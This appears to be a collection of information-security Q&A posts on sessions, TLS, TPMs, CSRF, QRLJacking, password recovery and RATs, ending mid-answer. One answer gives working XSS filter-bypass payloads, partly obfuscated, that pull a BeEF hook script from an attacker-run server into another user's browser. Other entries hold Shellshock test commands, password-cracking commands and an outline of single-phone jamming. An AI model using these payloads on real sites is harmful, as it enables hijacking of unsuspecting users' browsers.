Will session_regenerate_id() without true parameter improves security? Should I use it right before login? I want to decrease session fixation attack vulnerability, hence I used session_regenerate_id() before login. Somehow I'm in dark now and not sure the right answer for questions below:

When we don't set the function parameter to TRUE then old files
won't be deleted. Is this at all secure when we have access to old
sessions? Does attacker can use old sessions to fixate sessions?
Should I use the function before login?
Should I set the parameter to true?

The solution to avoid the session fixation is simple changing session ID.

bool session_regenerate_id([bool $delOldSession = false]) will replace the current session id with a new one, and keep the current session information. Adding parameter true: session_regenerate_id(true) deletes old esssion. If you don't delete old sessions, then your web-application is vulnerable to session hijacking. You leave old, but still valid sessions inside the /tmp directory. This means:

on the shared web-hosting servers some people could still have access to them
you give more chance to guess any of your valid session ID

You should always destroy old sessions with session_regenerate_id(true) or session_destroy().

However, you should be aware of session_regenerate_id(true) performance. The bare minimum is to use it, when you change user's priviledges (like login, logout). When you use it too often, you will notice "strange" things with your sessions. PHP has restriction in access to the session for only one running task. Multiple requests get into queue. If you send requests to fast, then:

The first request changes session ID and deletes the old session.
The second request (still) has the old session ID and it tries to do some operations on it.
As this old session ID doesn't exist, the new session is being created - which leads to user logout.


Can SSL server choose a session ID '0' in the 'Server Hello' message? Can s SSL server in response to 'CLIENT_HELLO' request choose a NULL value for the session ID in its response, SERVER_HELLO? Is it OK?

From RFC 5246, section 7.4.1.3:

  The server
        may return an empty session_id to indicate that the session will
        not be cached and therefore cannot be resumed.

So yes, the server may return a session ID of length 0. This is allowed. Note that the server may also send a bunch of random bytes and simply refuse to resume any session; the overall effect would be identical.


proxychains + dnscrypt + tor I'm currently working in Kali and I'm trying to boost my security and anonymity online. Please, bear with me for I am no expert yet. Googling and searching here has yielded useful info but not enough so I though I'd ask a more specific question.

proxychains allow me to run network traffic trough a TOR proxy
(socks5 127.0.0.1 9050)
dnscrypt encrypts my dns-requests and, if I understand correctly, sends them to  the opendns nameservers. For this to happen I altered my resolv.conf
(nameserver 127.0.0.1 53)
I have managed to get dnscrypt working with the TOR-browser so thats all well.

However, when I try to use proxychains with dnscrypt so that I could for example run software through the TOR network with encrypted DNS requests there are problems.

If I edit proxychains.conf so that the proxy is (socks5 127.0.0.1 53)
it just times out over and over. How can I make it so that I can for example run nmap through TOR with dnscrypt? Am I missing something? Is this unnecessary ? Is there a better way ?

If I'm being unclear then let me know and I'll clarify.

Running requests via proxy will break a lot of default options for tools. If you look into how proxychains works you'll find:

  SOCKS is a layer 5 protocol. That means it doesn't care about anything below that layer in the OSI model! That means that you can't use it to tunnel protocols operating below layer 5. This includes things such as ping, ARP, etc.

So the default nmap -sS flag will not work (no session is established). Plus, nmap constructs its own packets. Instead with nmap you should use the -PN (no ping) and -sT (TCP Connect) The reason is :

  Nmap asks the underlying operating system to establish a connection with the target machine and port by issuing the connect system call. This is the same high-level system call that web browsers, P2P clients, and most other network-enabled applications use to establish a connection.

You see here since nmap is using the OS API, it will run at a layer higher than 5, and establish a full session to get you more reliable results.

For hostname resolution try proxyresolv. It is meant to work with proxychains and is

  Used to resolve host names via proxy or TOR.


TPM- Symmetric key storage I understand that the TPM can be used to store an unlimited number of keys. However I am left with a few questions:

Presuming the TPM is connected on the LPC what protects the data travelling across that interface.
If I follow the SRK key approach what is used as the root key, i.e. is the SRK key hard code inside the TPM.
How can I distribute these keys across multiple systems with individual TPM's. Would I have to pre encode all keys using the TPM on each system pre-distribution.

With version 1.2, that would be the concept of Locality which is implemented in hardware. In reality, the communication is not authenticated and 1.2 is -theoretically- still vulnerable to version 1.1 reset attack but it has never been proven (the window of attack is way smaller). One important thing to consider: not all TPMs are made equal and you get to choose your level of security. A lot of TPMs are now integrated within the chipset - since 2009 if I recall. Intel provide those TPMs as part of their vPro technology. They run as an application within the Management Engine within the Platform Controller Hub on new architecture or northbridge otherwise. In turn, it means the attack surface is most probably null.
The SRK is created when the platform owner (that would be you) 'Take Ownership' of the TPM. This means you initialize the TPM and set a passphrase for the newly generated SRK. The only hardcoded key is the EK (Endorsement Key) which is used (when necessary) to prove it's a valid/compliant TPM to an external entity.
TPMs have the concept of migratable keys which provide a way to move keys from one platform to another. Take note that a TPM does not really manage symmetrical keys but uses symmetrical keys to encrypt blobs. Obviously, you can encrypt a symmetrical key within a blob but this symmetrical key would not entirely benefit from the advantage of a TPM as it needs to be decrypted and loaded in memory in order to be used.


XSS filter bypass to hook BeEF I found a vulnerability on a website which allows me to trigger XSS.
It's a very specific vulnerability, which is caused by a design-flaw. I want to write a PoC for them but I'm stuck at this step.

The XSS-payload is not delivered through an URL, and is not stored in a database. So, it's nor persistent-XSS nor reflective-XSS.
The attacker has to enter the payload into a box, and send it to another user of that website by altering a specific ID.

Anyway, my question. They filter XSS but not good enough, because this bypass, can bypass their filter:

The problem is, how do I use this specific filter to hook BeEF on it?
I tried:

But that payload ain't delivered clean, as result I get a lot of other HTML mixed.
I also searched if there are already articles explaining how to bypass XSS filters to hook BeEF on it, but I found none.

So my question, is there a way to bypass XSS filters, to be able to hook BeEF on it? I'm not asking how to bypass XSS in general, I'm asking it in a situation where you want to include the BeEF  hook.js` file.

Edit 1: An extra problem, I only have exact 116 characters to enter in the box. I don't think there is a problem to shorten JavaScript that much?
Also, what I meant with "I got a mix with a lot of HTML", was that when I entered that other long string, the box 'absorbed' a piece of HTML code.
What also would satisfy is using the window.open() function, to open a website containing the hook in a new window or tab or whatever.

Edit 2: I found a way of opening a new URL in a new tab by using this code:  However, the user gets a warning that a pop-up was blocked, and when he allows it than, he gets focus on that tab immediately. Does this satisfy for a PoC? Or does anyone have better solutions?

Original version

Using document.write in an event can cause problems is the event is fired after the page is loaded (i.e. closed), because the browser will then clear the document and start a new blank one. I am not sure I understand what the "payload ain't delivered clean, as result I get a lot of other HTML mixed" is supposed to mean, but this might be your problem.

If so, try using this (minus the line breaks and comments) as a payload:

var x = document.createElement(String.fromCharCode(115, 99, 114, 105, 112, 116)); // "script"
x.src = String.fromCharCode(49, 50, 55, 46, 48, 46, 48, 46, 49, 58, 51, 48, 48, 48, 47, 104, 111, 111, 107, 46, 106, 115); // "127.0.0.1:3000/hook.js" - Might not need to be obfuscated?
document.body.appendChild(x);

Based on this answer.

Shorter versions

I will write these with white spaces included for readability, but those can off course be removed. I am asuming that only the word script is filtered since you used fromCharCode. If more is filtered, you might have to change these a little, but there should be wiggle room.

Alt 1 (94 characters)

y = document;
x = y.createElement("scr" + "ipt");
x.src = "127.0.0.1:3000/hook.js";
y.body.appendChild(x)

If script without < and > is OK, you could gain some charactes by removing "+".

Alt 2 (with jQuery, 43 characters)

$["getScr"+"ipt"]("127.0.0.1:3000/hook.js")

Again, if script is OK you can get down to 37 characters:

$.getScript("127.0.0.1:3000/hook.js")


John the ripper - ecryptfs - sample not cracked: 0 password hashes cracked I tried to use john the ripper on the sample :
ecryptfs_sample_metadata.tar (password is 'openwall')

Which I downloaded from here:
https://openwall.info/wiki/john/sample-non-hashes

If i try

sudo john ecryptfs_sample_metadata.tar --progress-every=10 --mask='openwal?l'

The result is:

Warning: detected hash type "mysql", but the string is also recognized as "oracle"
Use the "--format=oracle" option to force loading these as that type instead
Warning: detected hash type "mysql", but the string is also recognized as "pix-md5"
Use the "--format=pix-md5" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (mysql, MySQL pre-4.1 [32/64])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00  0g/s 185.7p/s 185.7c/s 185.7C/s openwala..openwalq
Session completed

If I try show I have the result:

0 password hashes cracked, 1 left

I try to ad

--format=oracle

or

--format=pix-md5

with the same result.

Does anyone have an idea why the password is not cracked?

The tar file needs to be extracted first. It contains an .ecryptfs directory as it would typically be found in an encrypted home folder. The relevant file here is the wrapped-passphrase file. It contains the "real" 32-character password that ecryptfs used for the encryption, and is itself encrypted with the user password.
To use john on this file, you first need to create a passwd-like file from it that john can understand. For this use the command ecryptfs2john wrapped-passphrase > passwd. The ecryptfs2john command is contained in the John the Ripper jumbo package. The command creates a passwd file that looks like this:
wrapped-passphrase:$ecryptfs$0$92dc3db8feaf1676

Now you can use john on the passwd file:
$ john passwd --progress-every=10 --mask='openwal?l'`
Using default input encoding: UTF-8
Loaded 1 password hash (eCryptfs [SHA512 128/128 AVX 2x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
openwall         (wrapped-passphrase)
1g 0:00:00:00  4.347g/s 113.0p/s 113.0c/s 113.0C/s openwala..openwalq
Use the "--show" option to display all of the cracked passwords reliably
Session completed

As you can see, john recognized the hash as an ecryptfs hash. In some previous attempts, it was not doing that but was rather showing something about different hash types being detected. Unfortunately, I cannot reproduce this now, so I don't know what exactly was causing it. I had the impression that I was either using a version of john that didn't include ecryptfs support, or that it only worked when I was running john from the directory where the wrapped-passphrase file existed, but with both scenarios I cannot reproduce the problem anymore.


Scan for common web applications? Is there an automated tool that takes a list of hosts and figures out which common web applications (such as Wordpress, Mediawiki, Joomla etc) they are running and - if possible - which version and which plugins are installed?

Try:  http://www.morningstarsecurity.com/research/whatweb

  WhatWeb identifies websites. Its goal is to answer the question, “What is that Website?”. WhatWeb recognises web technologies including content management systems (CMS), blogging platforms, statistic/analytics packages, JavaScript libraries, web servers, and embedded devices. WhatWeb has over 900 plugins, each to recognise something different. WhatWeb also identifies version numbers, email addresses, account IDs, web framework modules, SQL errors, and more.


ADFS with multiple IDP stops doing the SSO I'm facing an issue when we enable a second IDP (add Claims Provider Trust), then we are not able to navigate between apps without stopping in the HRD (Home Realm Discovery) page.
Is there a way to control this?

Depends on the version of AD FS used and your scenario.

You can prevent HRD on the intranet if you are sure they wont need to pick another IDP via HRD. This way users accessing AD FS via a WAP (i.e. on extranet) do HRD but not those accessing AD FS direct (i.e. on intranet)

You can also configure certain relying parties to be associated with specific IDPs. Therefore, if a relying party were associated with just one IDP, the user wont get the choice to do HRD anyway.

See https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-fs/operations/home-realm-discovery-customization for details on these.


Reduce the risk of QRLJacking I am currently working on a personal project to facilitate the connection of users to a private interface using a mobile application and a QR Code.

Steps:

Users download an application and log in with a username and password.
Users then connect to a web interface with a QR code.
When users scan the QR code with their mobile, the web service allows each user to access his private interface.

In my research, I came across the QRLjacking exploit allowing a hacker to log in with his QR code.

What techniques could be implemented to drastically reduce the risk of hacking?

So far, I have thought of several ways but they are not ideal:

Requesting to scan a second QR code once the first has been scanned (thus requiring the hacker to have access to the second QR code).
Limit the validity of the QR code to 15 seconds (thus requiring the hacker to act very quickly)
Require the user to connect their phone to the same network and include the IP address in the QR code.

I think it is best you refer to the docs you shared for help with this, as they are reputable and serve as a common reference for most professionals. I will do my best to distill some of the information in the documentation to help.

The first thing you want to consider is how this attack is performed, what attack vectors are used, and what vulnerabilities are being exploited.

The main vulnerability of this system is it is subject to MitM attacks. The attacker will sit in between the victim and your server, pretending present the victim with the QR Code from your site.

The attack vectors are different means of the attacker establishing themselves as middle party in the attack and gaining the trust of the victim [1].

The attack can be performed by the attacker visiting your site and getting a valid QR code. The attacker then presents that QR code to the victim. The victim then authenticates that using your app. Now the attacker has a validated session on your site.

It appears the way to prevent this, to summarize, is to ensure that your site and your app are being used in the same place (though that may not help if the attacker is on the same LAN) as a proxy for ensuring it is being used by the same person [2].

  Requesting to scan a second QR code once the first has been scanned (thus requiring the hacker to have access to the second QR code).

The attacker can perform the attack twice, and may still fool the victim

  Limit the validity of the QR code to 15 seconds (thus requiring the hacker to act very quickly)

It appears this is generally used as a targeted attack, so timing won't prevent it. The attacker can spear phish the victim within the time window.

  Require the user to connect their phone to the same network and include the IP address in the QR code.

This seems to loosely fit with OWASP recommendation, but doesn't prevent attacks that take place on the same network.

They also have a recommendation to have the app use sound based authorization that the site can verify.

My recommendation would be to implement the mitigations recommended by OWASP. In addition to that, I recommend you severely limit what the user can do from the site. Don't implement any account management features from the site (password resets, email changes, username changes, etc). Also, allow the client to revoke access of connected computers, from the app. You may also want to send your user a notification that they are connected from computer X, so they can revoke that access if they suspect they didn't mean to authorize it.

[1] https://github.com/OWASP/QRLJacking/wiki/QRLJacking-and-Advanced-Real-Life-Attack-Vectors

[2] https://github.com/OWASP/QRLJacking/wiki/QRLJacking-and-Advanced-Real-Life-Attack-Vectors


What's are the advantages of L2TP/IPSEC over plain IPSEC? As the title says, my firewall (Sonicwall) can do either IPSEC or L2TP/IPSEC for VPN connections. One advantage of L2TP/IPSEC I can see is that the client computer get allocated its own IP address on the LAN.

Are there any other advantages?

L2TP/IPSEC wraps a simulated data link layer in IPSEC. Plain IPSEC just encrypts the network layer.  If you want hosts to think they're on the same LAN, use L2TP/IPSEC; if you'd rather skip the extra bandwidth and processing overhead, use IPSEC.


Security of deleted files and their traces I refer to the following link:

Deleted files and their traces

I am trying to ensure security of deleted files when copying from one machine to another.

The original poster asked if simply copying and pasting some files using windows explorer and an external hard drive or usb from one machine to another also copied free space. The answer to that was no according to the replies.

My query is along the same lines:

If I right click on the entire C Drive in Windows Explorer and do a
simple copy and paste to an external hard drive and then transfer to
another computer am I copying previously deleted files sitting in
the free space as well as the files in use? Or is it just the files
in use that get copied? Note: I copied with windows explorer from my
machine (windows vista) to another machine (windows 7) via an
external hard drive.
Is copy and paste with windows explorer a "file copy" and in no way
copies free space as opposed to a "bitwise" copy which would copy
traces of deleted files?
The original replies also stated deleted traces in the free space
would only be copied by either hardware or software cloning. What is
hardware cloning? Is it creating an "image" of the hard drive and is
it bitwise or file based?
Can cloning of a hard drive take place by simply copying and pasting
with windows explorer to an external hard drive or does windows
explorer just copy undeleted files?

If you copy and paste files, you'll only copy files which currently exist. It doesn't matter whether you select them by clicking on the drive, by selecting them individually, or by any other method. You'll only get the files which Windows thinks are there.

In order to copy the remains of deleted files, you'd need to do a bitwise copy, which Windows doesn't offer as a standard feature. You can make such a copy with various bits of software, or by using a hardware drive cloner. Not all hardware cloners perform bitwise copies - it's possible for one to just copy files, although this actually takes more effort. If looking to buy one, look for ones which state "forensic copy" or similar, but most will perform bitwise copies since it allows them to clone any drive, regardless of format.

A bitwise copy is where the drive is accessed as a block device, ignoring any specific format applied by an operating system, and each bit from it is read and written to another drive exactly as found. If there is a "1" on the original drive, they'll be a "1" in the equivalent place on the clone.

If you only care about the files that currently exist, you can "clone" a drive through Windows explorer. If you want an exact clone, including any data marked as free space, or as deleted, you'll need a more specialized tool.


What differs the authenticity provided by RSA signing and AES-GCM? Backstory

The system I'm designing requires encrypted messages as well as message authentication. AES-GCM seems like the logical choice due to its authentication capabilities and high throughput.

The key used to encrypt a message is generally randomly generated per message and encrypted using the recipient's public key. The encrypted key is sent along with the message.

There are generally no persistent key between both parties.

Example

Let's take the following message as an example:

{
  "timestamp": "2017-01-01",
  "encryptedMessage": "...",
  "sign": "..."
  "key": "..."
}

The value "timestamp" is in clear text, "encryptedMessage" encrypted, "sign" holds the RSA signing of "timestamp" and "key" holds the encrypted key. In this example. Would it make sense to sign "encryptedMessage" as well?

Question clarification

Are there any benefits of using RSA signing over the authenticity provided by AES-GCM?

Would it make sense to sign a message already encrypted using AES-GCM?

The authentication part of AES-GCM relies on a shared key between sender and recipient which is only known to sender and recipient. In your scheme the encryption (and thus authentication) key is not bound to a specific sender, i.e. everybody knowing the public key of the recipient can create such a message. And since the public key is considered public this means everybody can do it. Thus, the authentication part of AES-GCM does not prove that the message comes from a specific sender  but only that all parts of the message come from the same sender, i.e. the one which generated the secret key.

Public key encryption with RSA or other allows instead to prove that the message comes from a specific sender, i.e. the one owning a specific private key where the recipient already knows the senders public key. This prove involves that a relevant part of the communication is signed by the private key of the sender. While the sender could sign the random key the system might break if some attacker gets access to a single key (by hacking the recipient) and could then reuse the captured key and the matching signature in all further messages (i.e. replaying the signature). Therefore instead the message itself should be signed.

In summary, AES-GCM and RSA provide different levels of authentication. Which one you need depends on your specific use case. But, if you need to be sure that the message came from a specific sender (and not some attacker) then AES-GCM alone is not sufficient.


FreeRADIUS EAP TLS Authenticate based on client certificate CN I'd like to run FreeRADIUS for EAP TLS authentication but instead of running my own Certification Authority I'd like to use StartSSL.

I've setup EAP TLS with StartCom as the only Trusted Root CA and that works ok, but means anyone with a StartSSL Certificate could connect to my network.

I would like to allow access based on the client certificate Common Name something like check_cert_cn = *@example.com but I don't seem to be able to use a wild card in the check_cert_cn value.

Is there a way to achieve this? I might be approaching this problem the wrong way, should I be looking at realms or something? or just accept it and run my own CA.

So after a bit of digging I came across a commit on GitHub that can do this.

I uncommented virtual_server = check-eap-tls in eap.conf

Then create check-eap-tls in sites-available and symlinked it to sites-enabled:

server check-eap-tls {
  authorize {
    if ("%{TLS-Client-Cert-Common-Name}" =~ /^[A-z.]*@example\.com$/) {
      update config {
        Auth-Type = Accept
      }
    }
    else {
      update config {
        Auth-Type = Reject
      }
      update reply {
        Reply-Message = "Your certificate is not valid."
      }
    }
  }
}

Using =~ instead of == allows you to use regular expressions and in my all the certificates will be alpha with a dot so ^[A-z.]*@example\.com$ works for me.


Digital Ocean "Droplet" allgedly compromised for trivial, unpublicized website. Should I be worried abouty my own machine? I got a message from D.O. about my Droplet saying they shut it down because there was a lot of outgoing traffic that looked like an attack.  The site I had on that server was not very known at all.  I'd be surprised if 20 people had seen it. It's not related to money or sensitive information at all.

Assuming D.O. is right, what are likely sources of this attack?  Could it be through my own machine that I use to ssh onto my D.O. server with an ssh key?   i.e., could someone have used my own machine illegitimately and remotely to ssh onto my Droplet? I'd be surprised if my own machine was compromised.  It's running Linux and I only use it for development (no pirating or porn, etc.).  Do I need to reinstall OS and clean my own machine or is it likely this alleged hacker/bot got in by some means unrelated to my own computer?

I know you can't know for sure in my own case, but any general information on this subject could help.  Thanks.

The presence of any service on the Internet will lead to it being attacked to a certain degree, as some attackers are just looking for free resources (bandwidth, CPU power) and don't really care too much about what's on the host.

Assuming that you patch the OS it's not too likely that the SSH service was compromised directly, but if you're running a web application, a security flaw in that (for example SQL Injection or Remote File Inclusion) could allow the attacker to take control of the system.

Assuming you have backups the best bet would be to destroy the droplet and recreate the system but also to review the security of your web application.


Need a word-list generator from a few words and numbers I have an old rar backup and I am trying to recover the password. I remember the words in the password, but I usually add some numbers and cap some characters (don't know which ones though). I have been trying for days to use a recovery tool to work on it. Most tools have a dictionary option, but they do not combine the words and numbers into permutations . I need to generate some possible passwords base on about 8 words and 1-9, then run the generated list through a recovery app. Any suggestions?

I would recommend to extract the password hash with rar2john, then go with a mask attack with oclhashcat cracking with your GPU to gain some speed. It works well on windows.

simple example with masking:
say you know the password contains the string 'password' but the two numbers that follow are unknown. Then, the masking part of the command will look like this:

command: -a 3 password?d?d
keyspace: password00 - password99


How can someone know technically if antivirus provider tracks him? Is there a technical way to make sure that your antivirus provider doesn't send any information from your computer?
Is there a reliable list of antivirus providers that this issue was checked and it is known that they are reliable?
Is there any known cooperation between antivirus providers with government agencies?

You can check 'event logs' of your system to detect the activity of your antivirus program.


Does Telegram depend on a CA root key? Based on previous questions it seems to be somewhat ambiguous, so does Telegram depend on a CA root key pair for the intermediate CAs which issue certificates to newly registering members? I highly doubt a PGP-like system was implemented, but just to confirm this I would be interested to know what Telegram relies on to ensure that the public keys are not forged.

As I understand it, the answer is no, there are no CAs involved in user authentication.  Users generate a public/private key pair and provide the public portion to the server, but there is no certificate or signing operation in response.  Instead, the server probably stores a fingerprint of the public key (or perhaps the whole key, I haven't looked at a server implementation) and uses challenges signed by the client to verify the key.  The authorization API only speaks of a key id.  Telegram's own FAQ only speaks of  nonces:

  Various secrets (nonce, server_nonce, new_nonce) exchanged during key generation guarantee that the DH-key can only be obtained by the instance that initiated the exchange.

This is neither like the CA system used for X.509 nor the OpenPGP web of trust, but is instead a highly-centralized system that assumes a single operator for the clients.  There's no need for CAs here -- Telegram is the only trusted third party involved.

(Clients do verify the server by a certificate presented via TLS, but this certificated is pinned in the official clients, so the CA signature is not the only thing verifying the server identity to the client.)


How to force all connections to my Apache server to use TLSv1.1 or TLSv1.2? I tested on Ubuntu 12.04 (apache 2.2.22-1ubuntu1.4 and openssl 1.0.1-4ubuntu5.10) and Ubuntu 13.04 (apache 2.2.22-6ubuntu5.1 and openssl 1.0.1c-4ubuntu8.1).

here explain how to do so, but I have the following problems:

When try to use:

  SSLProtocol all -SSLv2 -SSLv3 -TLSv1

I got the following error:

  [error] No SSL protocols available [hint: SSLProtocol]

when try to use:

  SSLProtocol TLSv1.1 TLSv1.2

I got the following error:

  [error] No SSL protocols available [hint: SSLProtocol]

Th funny thing is that when I use:

  SSLProtocol all -SSLv2 -TLSv1

apache don't complain and this test reported that my server not support SSLv2 and TLSv1.0, but yes SSLv3, TLSv1.1 and TLSv1.2.

Any explanation to that odd behavior? maybe the test tool is broken?

How can I enable just TLSv1.1 and TLSv1.2?

(This is a software configuration issue, I sense a relocation to superuser.se coming up...)

There are two pre-requisites for this configuration to work:

Openssl-1.0.1 (yes)
httpd-2.2.23 (no!)

Sadly, the SSLProtocol documentation doesn't state the require httpd version (though it is noted in the comments section, right at the bottom of the page).

The code is a little convoluted: it iterates over the list of protocols it's aware of, and eliminates those that you didn't enable. This explains the behaviour you see.

The code up to and including httpd-2.2.22 does not parse "TLSv1.1" or later (see modules/ssl/ssl_engine_init.c and modules/ssl/ssl_private.h).


Is this a demonstration that the shellshock patch isn't working? I am checking my systems with the following command:

env X="() { :;} ; echo busted" /bin/sh -c "echo completed"

Which gives me: "completed", with no "busted", which seems good.
So I tried again with:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Which results in:

bash: warning: testbug: ignoring function definition attempt
bash: error importing function definition for `testbug'
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test

Which again, seems good.  However, when I run:

env x='()' ; echo vulnerable; bash -c "echo this is a test"

I get a dump of all environmental vars, followed by:

_=/usr/bin/env
x=()
vulnerable
bash: warning: testbug: ignoring function definition attempt
bash: error importing function definition for `testbug'
this is a test

Now I am concerned.  Should I be?

EDIT:  The two references to 'testbug' are due to a prior test which defined that variable.  I unset that variable and the rest of the output still shows up

You are having bash execute the commands separated by ';' in turn.  This is normal behavior and not an indicator that the bug's patch is inadequate.


How secure is giving confidential information over a cell phone? It is routine for companies to collect confidential information over the phone (eg, social security numbers to verify accounts, credit card numbers to make purchases, etc). With the prevalence of mobile phones, how secure are communications using a typical phone company (eg, t-mobile, verizon, sprint), to connect to a landline?

While there are a number of encrypted smartphone apps that individuals can use to communicate, the major companies are not using them.

It depends on what your threat model looks like.

For most people, saying your card number or SSN last four over the phone is fine, because it still requires a lot of dedication, at least a few thousand USD of equipment, and maybe a zero-day to eavesdrop on an LTE call. You're more likely to have your identity stolen by the customer support rep on the other end than by someone tapping your phone.

If you are in a position where your adversaries are government spying agencies, you should use an end-to-end encrypted system to discuss confidential information. This is because you're defending against a group of smart, motivated, and well funded people. Examples include: you work in the White House / Capitol Hill, you are the CEO of a company with sought-after trade secrets, ...


about CSRF on form submit I'm surely missing something in the picture of how CSRF attacks and protections are working.

My understanding in a form-submit scenery is the protection rely on a unpredictable token, someway is assumed the attacker can't get the token, why?

If the attacker is good enough to make me submit a form (as mentioned by OWASP) what would prevent him from getting the token before submitting?

There's a limit on javascript size/syntax that can be injected or is just the assumption I'm using a modern browser with Same-Origin Policy, what am I not seeing?

edit

My doubt, if I'm an attacker and I can inject javascript in the user form, why I can't get (using ajax) the form with the secret token, extract and inject the token in the form to be submitted?

edit 2

Forgive me for being pedantic but I'm trying to use CSRF protection on a php server and I may setup it wrong if I don't understand.

Regarding the OWASP's POST scenario example with submit onload, evil.com is the site the attacked user is visiting right? It will fire a post submit to the targetSite.com, the javasript onload in the example is simple but it could have been complex using a get of the form with the secret token before submitting, is that right?

If this is the case, is just the Same-Origin-Policy protecting the attacked user?

If the attacker is good enough to make me submit a form (as mentioned
  by OWASP) what would prevent him from getting the token before
  submitting?

The only skill an attacker needs to have is the ability to write HTML and javascript and know what the request they are trying to attack looks like.  These are all things that are easily accessible and are not secret in any way.

So your assumption that the ability to create a form somehow means they can predict random tokens is incorrect.

Each token is unique to an authenticated user and unless there is another vulnerability, there isn't a way to figure out what that token is.

Based on how your question is phrased I'm not sure you have a full grasp of how CSRF works.  This isn't meant as an insult - it can be a difficult concept to grasp initially.

My suggestion would be to create a form that is vulnerable to this type of attack and then execute an attack against it.  This is an excellent way to get a thorough understanding of how this attack works.  Once you do this - I suspect you will understand this answer better.

Cheers!

UPDATE:

It seems like you might be assuming that CSRF and XSS are the same thing.  Just to clarify - in a site with only a CSRF vulnerability, a malicious user cannot insert any javascript.  So there is no way to use javascript to get the token.  If a site has an XSS vulnerability - then there is no need to execute a CSRF attack, because it would be much easier to simply inject javascript that does what you want.  Also - a CSRF is a "one way" attack, meaning you can send a request as someone, but you can't read the result.  Does this make sense?

UPDATE 2:

regarding your comment:

  Thanks for clarifying, I was looking at the OWASP page linked in the
  question, section POST scenario, the submit onload, isn't that a CSRF
  attack with javascript injection?

Ahh - I see your confusion.  No, the javascript they are showing is on the site controlled by the attacker.  So if the attacker controls evil.com the javascript would be on there, and it is simply used to launch an HTTP request to targetSite.com using a users existing session.  CSRF is an attack on existing sessions that takes place at the HTTP request level.  It might use javascript to launch this attack, but the attack is still an HTTP request.


Is it possible to jam just one persons Cellphone but keep all other working? I know devices that are jamming everyones Cellphones in a radius of X meters but this is only distracting the frequency cellphones work on. This is not very handy.

Is it be possible to jam just one persons chellphone on the protocol level by sending particular packets?

I'm going to ignore the physical jamming possibilities and focus only jamming by "abusing" the protocol, thus by sending packets.

If you want to block the incoming SMS or call-setups then you are definitely out of luck. This kind of data is send over a channel that is used to send data to all cellphones in the coverage area. You could however interrupt an ongoing call as each call receives it's own channel (though they often swap from channel to channel over time but this can be accounted for) and as such sending data over this channel will create collisions and thus hinder the ongoing call.

To block a phone from sending SMS or making a call we need to interrupt the shared channel that all cellphones use to send data to the transmission tower. There are two common access protocols used for this, Time Division Multiple Access (TDMA, used in 2G for example) and Code Division Multiple Access (CDMA, used in 3G for example). Both obviously require a different approach, I won't go into details but will explain the general idea. These approaches can also be combined which would require for the methods below to be combined.

TDMA:
This divides the channel into frames, these are just fixed length periods of time. These frames are then divided into time-slots. Each cellphone receives one time-slot per frame and can use that to send SMS or request a call setup.
Abusing this system just requires you to send data during the correct time-slots. This will create collisions when this cellphone tries to send something.

CDMA:
This one is a little more complex. Each user gets a seed to a pseudorandom number sequence, when the user sends data it XOR's its data with the pseudorandom number sequence. To jam the cellphone in this case requires you to determine the seed and then jam by sending data using the pseudorandom number sequence.

This should give a general idea of potential weaknesses that could be exploited, however to use these in a real world test one will have to check how different phones will react to these situations.


Does periodically rebooting secure-boot-enabled devices improve security by preventing persistent compromise? Many devices now enforce verified/trusted/secure boot, which according to Wikipedia "will only allow signed software to run on the device." Platforms that support this feature include Android, iOS, Windows, and Chrome OS.

From what I understand, secure boot verifies everything in the boot process using a chain of trust based on cryptographic signatures, and thus prevents a compromised system from booting. However, since this feature is only triggered on system startup, it does nothing to secure the device after the boot process is complete, before the next reboot.

If this is the case, would periodically rebooting secure-boot-enabled devices (e.g. Chromebooks, Surface Pros, iPhones, Nexus/Pixel phones) improve the security of the device?

Periodic rebooting does very little to improve device security in general.

Secure boot is designed to protect your system from attacks that target the boot process, e.g. the part of a computer's uptime where the operating system can't yet protect the system, because it's not loaded yet.

Once the operating system is loaded and running, it becomes the OS's job to protect the system. So... secure boot protects you from someone sneaking into your home and hiding a software keylogger somewhere deep in the boot process. But it can't protect you from attacks that target a security hole in an application or the operating system itself. If, for example, you visit a website that infects your browser with malware, which then installs itself in the system without being detected, this malware will still be there when you reboot. secure boot can't protect you against this.

There are only three cases in which periodic reboot would improve security:

When your computer gets infected with transient malware which only runs in memory and doesn't install itself into the system. A reboot would
wipe such malware from your system.
If you have a system that runs entirely from write-protected media and provides only ram drive storage. In that case, rebooting will also wipe the malware.
When your computer gets infected with malware which tries to install itself into the computer's boot-process - secure boot should detect this malware, and the sooner you reboot, the sooner you know.

I'm not sure whether malware which attacks firmware (e.g. military-grade cyber-weapons which attack the BIOS or hard drive firmware etc) would be in any way affected by secure boot. I'm thinking that malware which could alter a computer's firmware would be undetectable and could disable secure boot alltogether if it wanted to. Maybe someone can comment?


How does Remote Access Trojan / Backdoor Software work? How does a RAT works? I understand it as once we visit the infected website, the browser might download the Trojan to our PC automatically. Will it be executed and auto-installed in our computer?

I can't see how JavaScript can run the malicious code and automatically install the RAT into our/visitors PC and gaining access to their PC.

Does it work like this?

Hackers uploaded the exe file to an exploit server.
Visitors visit the server/hackers send the affected website link to the
particular victims.
The malicious code is written in js file and the js file will be automatically downloaded to visitor's PC (C:\users\pcname\AppData\Local\Temp)
The js file automatically installs the RAT Program?
The RAT program will auto send the victim's IP address and username/password to the hackers each time the visitor is online?

I can't see how a javascript can run the malicious code and automatic install the RAT into our/visitors PC and gaining access to their PC.

Javascript in and of itself cannot - the implementation of javascript usually has very, very limited access to the local system by design. That's assuming all works as designed.

Software systems rarely do; the larger the piece of software, the more likely bugs are to creep in. If one of those bugs happens to let you run arbitrary code, that's a problem.

To be clear, this arbitrary code is typically actually a specially crafted piece of input into the program. For example, let's assume there's a bug in the .image renderer (a file type we've made up for the purposes) where I read data that should look like this:

FF 00 99 00 00 00

For reasons unknown, I've chosen to do crazy things like storing this RGB code in strings and am assuming string terminates with 00 and there's actually only one character. I don't know, maybe I'm anticipating bazillion colour screens. This may be a poor example. It's late. Bear with me. Anyway, let's assume I just use standard string functions in by renderer to copy that information out of the file. Now, if I send a valid file, great. However as an attacker, I could send a file that looks like this:

FF 00 99 11 11 11 11 11 11 <lots of 11s> 11 11 <some code> 00

